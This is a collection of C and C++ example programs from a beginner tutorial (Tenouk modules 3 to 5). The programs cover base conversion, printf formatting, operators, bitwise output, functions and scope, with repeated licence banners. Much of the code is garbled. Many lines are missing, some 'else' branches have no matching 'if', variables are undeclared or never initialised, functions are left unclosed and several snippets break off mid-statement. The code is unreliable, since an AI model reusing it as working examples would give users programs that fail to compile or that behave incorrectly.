return false;
//false is converted to 0
}
----------------------------------------------------------------------------------------------------
int main()
{
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
int num;
printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();
while(getchar() != EOF)
{
printf(" %c %d %x %o\n",num,num,num,num);
++num;
}
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}
void dectobin()
{
int input;
if (input < 0)
printf("Enter unsigned decimal!\n");
do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */
binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);
do
{
printf("%d", binbuff[count - 1]);
count--;
if(count == 8)
printf(" ");
} while (count > 0);
printf ("\n");
}
-------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
/*for strlen*/
#include <string.h>
i=strlen(bin);
int main(void)
{
bintodec();
return 0;
}
-------------------------------------------------------------------------------------------------------
/*strlen*/
#include <string.h>
int main()
{
/* Yes or No value to continue with program */
char go;
/* Yes or No value to proceed to Binary to Decimal function */
char binY;
char choice1;
char choice2;
int flag;
flag = 0;
go = 'y';
do
{
printf("Enter the base of ur input(d=dec, h=hex, o=octal): ");
scanf("%c", &choice1);
getchar();
printf("\n");
/*If no match*/
else
{
flag = 1;
printf("Only d, h or o options!\n");
printf("Program exit...\n");
exit(0);
}
printf("\n\nAn OPTION\n");
printf("=========\n");
printf("Do you wish to do the binary to decimal conversion?");
printf("\n Y for Yes, and N for no : ");
scanf("%c", &binY);
getchar();
/*If Yes...*/
if ((binY == 'Y') || (binY == 'y'))
printf("\n\n");
printf("The program is ready to exit...\n");
printf("Start again? (Y for Yes) : ");
scanf("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;
/*======================================================*/
void hexadecimal(char *hexa, int *hexares)
{
int ans = *hexares;
char ch = *hexa;
/*========================================================*/
void octal(char *octa, int *octares)
{
int ans = *octares;
char ch = *octa;
void bintodec(void)
{
char buffbin[1024];
char *binary;
int i=0;
int dec = 0;
int z;
i=strlen(binary);
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);
printf ("\n");
}
---------------------------------------------------------------------------------------------------------
char choice1;
char choice2;
/*numtest, value to test with, and pass to functions*/
int numtest;
/*value to convert to binary, and call decnumtobin function*/
int bintest;
int flag;
flag = 0;
go = 'y';
do
{
printf ("Enter the h for hex input: ");
scanf("%c", &choice1);
getchar();
printf ("\n");
printf ("Enter your hex number lor!: ");
getchar();
}
else
{
flag = 1;
printf ("Only h!\n");
printf("Program exit...\n");
exit(0);
}
/*else...*/
else
{
flag = 1;
printf("Only d!");
printf("\nProgram exit...");
exit(0);
}
printf ("\n\n");
printf ("The program is ready to exit...\n");
printf ("Start again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf ("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);
do
{
printf ("%d", binary[count - 1]);
count--;
if(count == 4)
printf(" ");
} while (count > 0);
printf ("\n");
}
-----------------------------------------------------------------------------------------------------------------------
int main()
{
/*Program continuation...*/
char go;
int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;
int flag = 0;
go = 'y';
do
{
printf("Playing with hex and ASCII\n");
printf("==========================\n");
printf("For hex, 0(0) - 1F(32) are non printable/control characters!\n");
printf("For hex > 7F(127) they are extended ASCII characters that are\n");
printf("platform dependent!\n\n");
printf("Enter the hex input: ");
scanf("%x", &numtest);
getchar();
decimal (&numtest);
printf("\nStart again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(int *decires)
{
int ans = *decires;
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);
do
{
printf("%d", binary[count - 1]);
count--;
if(count == 4)
printf(" ");
} while (count > 0);
printf("\n");
}
----------------------------------------------VC++/VC++ .Net-------------------------------------------------
#include <cstdio>
int main()
{
int num;
printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();
---------------------------------------------------------------------------------------------------
/*main function*/
int main()
{
/*declare and initialized variables*/
int p = 2000; /*positive integer data type*/
short int q = -120; /*variation*/
unsigned short int r = 121; /*variation*/
float s = 21.566578; /*float data type*/
char t = 'r'; /*char data type*/
long u = 5678; /*long positive integer data type*/
unsigned long v = 5678; /*variation*/
long w = -5678; /*-ve long integer data type*/
int x = -171; /*-ve integer data type*/
short y = -71; /*short -ve integer data type*/
unsigned short z = 99; /*variation*/
double a = 88.12345; /*double float data type*/
float b = -3.245823; /*float data type*/
printf("\n5. \"char\" sample: \t\t %c, the data size: %d byte", t, sizeof(t));
printf("\n6. \"long\" sample: \t\t %d, the data size: %d bytes", u, sizeof(u));
printf("\n7. \"unsigned long\" sample: \t %d, the data size: %d bytes", v, sizeof(v));
printf("\n8. negative \"long\" sample: \t %d, the data size: %d bytes", w, sizeof(w));
printf("\n9. negative \"int\" sample: \t %d, the data size: %d bytes", x, sizeof(x));
printf("\n10. negative \"short\" sample: \t %d, the data size: %d bytes", y, sizeof(y));
printf("\n11. unsigned \"short\" sample: \t %d, the data size: %d bytes", z, sizeof(z));
printf("\n12. \"double\" sample: \t\t %.4f, the data size: %d bytes", a, sizeof(a));
printf("\n13. negative \"float\" sample: \t %.5f, the data size: %d bytes\n", b, sizeof(b));
return 0;
}
----------------------------------------------------gcc---------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}
void dectobin()
{
int input;
if (input < 0)
printf("Enter unsigned decimal!\n");
do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */
binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);
do
{
printf("%d", binbuff[count - 1]);
count--;
if(count == 8)
printf(" ");
} while (count > 0);
printf ("\n");
}
=============================MODULE3=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
--------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------
int main()
{
int a, b;
//set a and b both equal to 5
a = b = 5;
//print them, decrementing each time
//use prefix mode for b, postfix mode for a
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------------
int main()
{
printf("My name is %s and I am %d years old.\n", "John", 25);
printf("Examples of the decimal points %f\t%.3f\t%.2f\t\n",1.7885,1.7885,1.7885);
printf("Examples of characters\n");
printf(" %c \n %c \n %c\n", 'A', 'B', 'a');
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------------
int main()
{
unsigned seconds, minutes, hours, secs_left, mins_left;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//For VC++ .Net use the following processor directives
//comment out the previous #include…
//#include <iostream>
//#include <cstdlib>
//using namespace std;
//Define constants
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600
void main()
{
unsigned int seconds, minutes, hours, secs_left, mins_left;
------------------------------------------------------------------------------------------------------------------
#include <stdlib.h>
int main ( )
{
int x, y;
//Input the two values to be tested
printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);
if (x > y)
{
printf("\nx is greater than y");
}
if (x < y)
{
printf("\nx is smaller than y");
}
printf("\n\n");
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------------
int main()
{
int x, y;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------
int main()
{
int a;
a = (5 == 5);
//Evalutes to 1, TRUE
printf ("\na = (5 == 5)\n Then a = %d\n", a);
a = (5 != 5);
//Evaluates to 0, FALSE
printf ("\na = (5 != 5)\n Then a = %d\n", a);
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a = 5, b = 6, c = 5, d = 1;
int x;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a = 3, b = 4;
printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n",a+=b);
printf("a last value = %d\n",a);
printf("\na *= b ---> a = a * b = %d\n",a*=b);
printf("a last value = %d\n",a);
printf("\na -= b ---> a = a - b = %d\n",a-=b);
printf("a last value = %d\n",a);
printf("\na/=b ---> a = a / b = %d\n",a/=b);
printf("a last value = %d\n",a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n",a-=(b+1));
printf("a last value = %d\n",a);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a, b = 4, c= 50;
system("pause");
return 0;
------------------------------------------------------------------------------------------------------------------
//bitwise operators
#include <stdlib.h>
#include <stdio.h>
//function prototype…
void DisplayBits(unsigned);
int main()
{
unsigned p;
//function call
DisplayBits(p);
return 0;
}
//function definition…
void DisplayBits(unsigned number)
{
unsigned q;
//2 byte, 16 bits position
//operated bit by bit and hide/mask other bits
//using left shift operator
//start with 10000000 00000000
unsigned DisplayMask = 1<<15;
system("pause");
}
----------------------------------------------------------------------------------------------------------------------
//bitwise operators
#include <stdlib.h>
#include <stdio.h>
int main()
{
unsigned int num1, num2, num3, mask, SetBit;
num1 = 7535;
mask = 1;
num1 = 15;
SetBit = 241;
printf("\nThe result of inclusive ORing the following numbers\n");
printf("using the bitwise inclusive OR, | is\n");
BitwiseOp(num1);
BitwiseOp(SetBit);
printf(" ------------------------\n");
//function call, bitwise inclusive OR operation
BitwiseOp(num1 | SetBit);
num1 = 249;
num2 = 299;
printf("\nThe result of exclusive ORing the following numbers\n");
printf("using the bitwise exclusive OR, ^ is\n");
BitwiseOp(num1);
BitwiseOp(num2);
printf(" ------------------------\n");
//function call, bitwise exclusive OR operation
BitwiseOp(num1 ^ num2);
num3 = 21321;
printf("\nThe One's complement of\n");
BitwiseOp(num3);
printf(" |||||||| ||||||||\n");
//One's complement operation
//function call, bitwise negate operation
BitwiseOp(~num3);
system("pause");
return 0;
}
//function definition…
void BitwiseOp(unsigned int value)
{
unsigned int p;
//Two 8 bits, 16 position, shift to left
unsigned int DisplayMask = 1 << 15;
if(p % 8 == 0)
//put a space…
putchar(' ');
}
putchar('\n');
}
-----------------------------------------------------------------------------------------------------------------
int main()
{
int count;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
int main()
{
int count;
system("pause");
return 0;
}
----------------------------------------------------------------------------------------------------------------
int main()
{
//printf("Some prompt here...\n");
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
int main()
{
//printf("Some prompt here...\n");
system("pause");
return 0;
}
------------------------------------------------VC++/VC++ .Net----------------------------------------------------------
int main()
{
//printf("Some prompt here...\n");
---------------------------------------------------gcc-------------------------------------------------------------
/******-cpoundassig.c-*******/
#include <stdio.h>
int main()
{
int a = 10, b = 20;
printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
return 0;
}
-----------------------------------------------------------------------------------------------------------------
/*bitwise operators*/
/******--bitwise.c--******/
#include <stdio.h>
/*function prototype.*/
void DisplayBits(unsigned);
int main()
{
unsigned p;
//function call
DisplayBits(p);
return 0;
}
/*function definition.*/
void DisplayBits(unsigned number)
{
unsigned q;
/*2 byte, 16 bits position*/
/*operated bit by bit and hide/mask other bits*/
/*using left shift operator*/
/*start with 10000000 00000000*/
unsigned DisplayMask = 1<<15;
=============================MODULE4=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
void main()
{
long input, answer;
system("pause");
}
--------------------------------------------------------------------------------------------------------------------------
//main() function
void main()
{
float x = 3.5, y = 65.11, z;
float half_of (float);
//function definition
float half_of(float k)
{
//k is the parameter. Each time half_of() is called,
//k has the value that was passed as an argument.
return (k/2);
}
-------------------------------------------------------------------------------------------------------------------------
//Function prototype
int larger_of(int, int);
void main()
{
int x, y, z;
//function call
z=larger_of(x, y);
//Function definition
int larger_of(int a, int b)
{
//return a or b
if(a > b)
return a;
else
return b;
}
---------------------------------------------------------------------------------------------------------------
//For C++ codes using VC++/VC++ .Net, change the header files accordingly
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <stdlib.h>
//function prototype
void prt(int);
int main()
{
//declare an integer variable
int x=12;
cout<<endl;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
int main()
{
float b, h, a;
b = 4;
h = 6;
cout<<"Area = (0.5*base*height)"<<endl;
cout<<"where, base = 4, height = 6"<<endl;
cout<<"\nArea = "<<a<<endl;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------
/*variadic function*/
#include <stdarg.h>
#include <stdio.h>
sum = 0;
for (i = 0; i < count; i++)
/*Get the next argument value.*/
sum += va_arg (ap, int);
/*Clean up.*/
va_end (ap);
return sum;
}
int main(void)
{
/*This call prints 6.*/
printf("%d\n", sum_up(2, 2, 4));
---------------------------------------------------------------------------------------------------------------
//main program...
void main()
{
cout<<"I'm in main()..."<<endl;
system("pause");
return; //return nothing or just omit this 'return;' statement
}
void FunctOne()
{
//do nothing here just display the
//following text...
cout<<"\nNow I'm in FunctOne()!..."<<endl;
cout<<"Receives nothing, return nothing..."<<endl;
//return to main, without any returned value
//return; optional, can put this empty 'return;'
}
double FunctTwo()
{
//receive nothing but do some work here...
double p = 10.123;
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;
//and return something...
return p;
}
int FunctThree(int z)
{
//receive something...do some work...
//and return the something...
int a = z + 100;
cout<<"\nThen, in FunctThree()!..."<<endl;
cout<<"Receive something from calling function\ndo some work here and"
void FunctFour(int s)
{
//received something but return nothing...
int r = s - 20;
cout<<"\nNow, in FunctFour()..."<<endl;
cout<<"Received something, but return nothing..."<<endl;
cout<<"The value processed = "<<r<<endl;
//return; optionally can put this empty 'return;'
}
----------------------------------------------------------------------------------------------------------
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
//function call
areaOfYard = FindTheArea(lengthOfYard, widthOfYard);
-------------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//function prototype
float Convert(float);
int main()
{
float TempFer;
float TempCel;
//function call
TempCel = Convert(TempFer);
cout<<"\n";
cout<<TempFer<<" Fahrenheit = "<<TempCel<<" Celcius"<<endl;
system("pause");
return 0;
}
//function definition
float Convert(float TempFer)
{
//local variable....
float TempCel;
-------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//function prototype
void myFunction();
int main()
{
cout<<"x = 5, y = 7, global scope\n";
cout<<"\nx within main: "<<x<<"\n";
cout<<"y within main: "<<y<<"\n\n";
cout<<"Then function call....\n";
//function call
myFunction();
system("pause");
return 0;
}
void myFunction()
{
//local scope variable
int y = 10;
--------------------------------------------------------------------------------------------------------------
//demonstrates variables
//scope within a block
#include <iostream.h>
#include <stdlib.h>
//function prototype
void myFunc();
int main()
{
int x = 5;
cout<<"\nIn main x is: "<<x;
//function call
myFunc();
system("pause");
return 0;
}
void myFunc()
{
//local scope variable
int x = 8;
-----------------------------------------------------------------------------------------------------------------
//function prototype
void swap(int x, int y);
int main()
{
int x = 5, y = 10;
//function call
swap(x, y);
system("pause");
return 0;
}
cout<<"\nIn swap function, confirm before swapping, x: "<<x<<" y: "<< y << "\n";
temp = x;
x = y;
y = temp;
cout<<"In swap function. After swapping, x: "<<x<<" y: "<<y<<"\n";
}
--------------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//function prototype
long int Doubler(long int AmountToDouble);
//function call
result = Doubler(input);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------------
//function prototype
//width = 25 and height = 1, are default values
int AreaOfCube(int length, int width = 25, int height = 1);
int main()
{
//Assigning new values
int length = 100;
int width = 50;
int height = 2;
int area;
//function call
area = AreaOfCube(length, width, height);
area = AreaOfCube(length);
//width = 25, height = 1, default values
cout<<"Third time function call, area = "<<area<<"\n";
system("pause");
return 0;
}
----------------------------------------------------------------------------------------------------------------------------
int main()
{
int target;
//function call
target = Doubler(target);
cout<<"First time function call, Target: "<<target<<endl;
//function call
target = Doubler(target);
cout<<"Second time function call, Target: "<<target<<endl;
//another call
target = Doubler(target);
cout<<"Third time function call, Target: "<<target<<endl;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
int main()
{
int i;
system("pause");
return 0;
}
------------------------------------------------------------------------------------------------------------------
//function prototype
float AddNum(float, float);
//main program
void main(void)
{
cout<<"The function body..."<<endl;
cout<<"This just program skeleton..."<<endl;
system("pause");
}
//Function definition
float AddNum(float , float)
{
float x = 0;
return x;
}
------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//function prototype
void main(void)
{
//global (to this file) scope variables
float p, q, r;
//function call
r = AddNum(p, q);
//Function definition
float AddNum(float p, float q)
{
return (p + q);
}
----------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);
void main(void)
{
//local (to this file) scope variables
float p, q, r, s, t, u;
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;
//Function call
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);
-------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
float x, y;
//Function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);
------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h" //notice this!
void main(void)
{
//local scope (to this file) variables…
int r, s, t, u;
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);
system("pause");
}
--------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h"
void main(void)
{
system("pause");
}
--------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//using <arithmet.h> instead of "arithmet.h"
#include <arithmet.h>
void main(void)
{
//local scope (to this file) variable
int t, u;
system("pause");
}
---------------------------------------------------------------------------------------------------------------------
int main()
{
int p;
cout<<"Calculating factorial using recursive function"<<endl;
cout<<"----------------------------------------------\n"<<endl;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
long fibonacci(long);
int main()
{
int p;
cout<<"Simple fibonacci using recursive function"<<endl;
cout<<"-----------------------------------------\n"<<endl;
system("pause");
return 0;
}
----------------------------------------------------------------------------------------------------------
main()
{
int c;
//loop
for(c = 0; c <10; c++)
printf("%d ", rand());
printf("\n");
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
int main(void)
{
//structure data type, learnt in another Module
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];
time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s", ctime(&t));
sleep(10);
return 0;
}
----------------------------------------------------------------------------------------------------------------------
int main(void)
{
time_t t;
struct tm *gmt, *area;
putenv(tzstr);
tzset();
t = time(NULL);
area = localtime(&t);
gmt = gmtime(&t);
//wait 10 seconds...
sleep(10);
return 0;
}
--------------------------------------------------------------------------------------------------------------------------
int main()
{
//structure data type, learnt later
struct tm time_check;
int year, month, day;
------------------------------------------------VC++/VC++ .Net----------------------------------------
//C run-time Microsoft C example
#include <cstdio>
#include <ctime>
int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];
time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s\n", ctime(&t));
--------------------------------------------------gcc------------------------------------------------------
/*main program...*/
int main()
{
printf("-----PLAYING WITH A FUNCTION-----\n");
printf("All call by value ONLY!!!\n");
printf("Starting: I'm in main()...\n");
void FunctOne()
{
/*do nothing here just display the*/
/*following text...*/
printf("\nNow I'm in FunctOne()!...\n");
printf("Receives nothing, return nothing...\n");
/*return to main, without any returned value*/
}
double FunctTwo()
{
/*receive nothing but do some work here...*/
double p = 10.123;
printf("\nNow I'm in FunctTwo()!\nmay do some work here..."
"\nReceives nothing but returns something"
"\nto the calling function...\n");
/*and return something...*/
return p;
}
int FunctThree(int z)
{
/*receive something...do some work...*/
/*and return the something...*/
int a = z + 100;
printf("\nThen, in FunctThree()!...\n");
printf("Receives something from calling function\ndo some work here and"
"\nreturn something to the calling function...\n");
/*then return to main, with return value*/
return a;
}
void FunctFour(int s)
{
/*received something but return nothing...*/
int r = s - 20;
printf("\nNow, in FunctFour()...\n");
printf("Received something, but return nothing...\n");
printf("The value processed here = %d\n", r);
printf("Then within FunctFour, call FunctOne()...\n");
FunctOne();
printf("Back in FunctFour()....\n");
}
=============================MODULE5=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
int main()
{
printf("Various format for integer printing\n");
printf("-------------------------------------\n");
printf("%d\n", 455);
printf("%i\n", 455); //i same as d in printf()
printf("%d\n", +455);
printf("%d\n", -455);
printf("%hd\n", 32000);
printf("%ld\n", 2000000000L);
printf("%o\n", 455);
printf("%u\n", 455);
printf("%u\n", -455);
//-455 is read by %u and converted to the unsigned
//value 4294966841 by 4 bytes integer
printf("%x\n", 455);
printf("%X\n", 455);
system("pause");
return 0;
}
-------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
char character = 'A';
char string[] = "This is a string";
char *stringPtr = "This is also a string";
printf("---------------------------------\n");
printf("---Character and String format---\n");
printf("---------------------------------\n\n");
printf("%c <--This one is character\n", character);
printf("\nLateral string\n");
system("pause");
return 0;
}
----------------------------------------------------------------------------------
int main()
{
int *ptr;
//pointer variable
int x = 12345, y;
ptr = &x;
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
printf(" Printing integers right-justified.\n");
printf("Compare the output with the source code\n");
printf("---------------------------------------\n\n");
printf("%4d\n", 1);
printf("%4d\n", 12);
printf("%4d\n", 123);
printf("%4d\n", 1234);
printf("%4d\n\n", 12345);
printf("%4d\n", -1);
printf("%4d\n", -12);
printf("%4d\n", -123);
printf("%4d\n", -1234);
printf("%4d\n", -12345);
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
int i = 873;
float f = 123.94536;
char s[] = "Happy Birthday";
printf("Using precision while printing integers,\n");
printf(" floating-point numbers, and strings.\n");
printf("Compare the output with the source code\n");
printf("----------------------------------------\n\n");
printf("Using precision for integers\n");
printf("\t%.4d\n\t%.9d\n\n", i, i);
printf("Using precision for floating-point numbers\n");
printf("\t%.3f\n\t%.3e\n\t%.3g\n\n", f, f, f);
printf("Using precision for strings\n");
printf("\t%.11s\n", s);
system("pause");
return 0;
-----------------------------------------------------------------------------------
int main()
{
printf("Right justifying and left justifying values.\n");
printf(" Compare the output with the source code.\n");
printf("--------------------------------------------\n\n");
printf("%10s%10d%10c%10f\n\n", "hello", 7, 'a', 1.23);
printf("%-10s%-10d%-10c%-10f\n", "hello", 7, 'a', 1.23);
system("pause");
return 0;
-----------------------------------------------------------------------------------
int main()
{
printf("Printing numbers with and without the + flag.\n");
printf(" Compare the output with the source code\n");
printf("---------------------------------------------\n\n");
printf("%d\n%d\n", 786, -786);
printf("%+d\n%+d\n", 786, -786);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
int main()
{
printf("Printing a space before signed values\n");
printf(" not preceded by + or -n\n");
printf("--------------------------------------\n\n");
printf("% d\n% d\n", 877, -877);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
int main()
{
int c = 1427;
float p = 1427.0;
printf("%#G\n", p);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
int main()
{
printf("Printing with the 0 (zero) flag fills in leading zeros\n");
printf(" Compare the output with the source code\n");
printf("-------------------------------------------------------\n\n");
printf("%+09d\n", 762);
printf("%09d", 762);
printf("\n");
